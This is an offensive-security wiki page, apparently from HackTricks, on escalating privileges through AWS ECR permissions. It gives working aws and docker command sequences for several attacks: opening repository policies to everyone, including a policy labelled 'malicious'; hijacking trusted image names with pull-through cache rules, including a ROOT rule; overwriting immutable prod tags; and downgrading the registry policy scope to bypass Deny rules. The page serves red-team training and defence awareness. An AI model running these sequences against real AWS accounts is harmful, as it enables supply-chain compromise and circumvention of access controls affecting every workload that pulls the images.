AWS - ECR Privesc
Reading time: 9 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
An attacker with the ecr:GetAuthorizationToken
and ecr:BatchGetImage
can login to ECR and download images.
For more info on how to download images:
Potential Impact: Indirect privesc by intercepting sensitive information in the traffic.
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
An attacker with the all those permissions can login to ECR and upload images. This can be useful to escalate privileges to other environments where those images are being used.
To learn how to upload a new image/update one, check:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
Like the previous section, but for public repositories.
ecr:SetRepositoryPolicy
An attacker with this permission could change the repository policy to grant himself (or even everyone) read/write access.
For example, in this example read access is given to everyone.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contents of my-policy.json
:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Like the previoous section, but for public repositories.
An attacker can modify the repository policy of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Potential Impact: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
ecr:PutRegistryPolicy
An attacker with this permission could change the registry policy to grant himself, his account (or even everyone) read/write access.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
ecr:CreatePullThroughCacheRule
Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.
- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Tested upstream: public.ecr.aws
Steps (example):
-
Prepare attacker image in ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
-
Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.
ecr:PutImageTagMutability
Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content.
- Required perms:
ecr:PutImageTagMutability
plus push capabilities (ecr:GetAuthorizationToken
,ecr:InitiateLayerUpload
,ecr:UploadLayerPart
,ecr:CompleteLayerUpload
,ecr:PutImage
). - Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.
Steps (example):
Poison an immutable tag by toggling mutability
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
Global registry hijack via ROOT Pull-Through Cache rule
Create a Pull-Through Cache (PTC) rule using the special ecrRepositoryPrefix=ROOT
to map the root of the private ECR registry to an upstream public registry (e.g., ECR Public). Any pull to a non-existent repository in the private registry will be transparently served from upstream, enabling supply-chain hijacking without pushing to private ECR.
- Required perms:
ecr:CreatePullThroughCacheRule
,ecr:DescribePullThroughCacheRules
,ecr:DeletePullThroughCacheRule
,ecr:GetAuthorizationToken
. - Impact: Pulls to
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>
succeed and auto-create private repos sourced from upstream.
Note: For
ROOT
rules, omit--upstream-repository-prefix
. Supplying it will cause a validation error.
Demo (us-east-1, upstream public.ecr.aws)
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws
# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED
# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
ecr:PutAccountSetting
(Downgrade REGISTRY_POLICY_SCOPE
to bypass registry policy denies)
Abuse ecr:PutAccountSetting
to switch the registry policy scope from V2
(policy applied to all ECR actions) to V1
(policy applied only to CreateRepository
, ReplicateImage
, BatchImportUpstreamImage
). If a restrictive registry policy Deny blocks actions like CreatePullThroughCacheRule
, downgrading to V1
removes that enforcement so identity‑policy Allows take effect.
- Required perms:
ecr:PutAccountSetting
,ecr:PutRegistryPolicy
,ecr:GetRegistryPolicy
,ecr:CreatePullThroughCacheRule
,ecr:DescribePullThroughCacheRules
,ecr:DeletePullThroughCacheRule
. - Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., create PTC rules) by temporarily setting scope to
V1
.
Steps (example):
Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION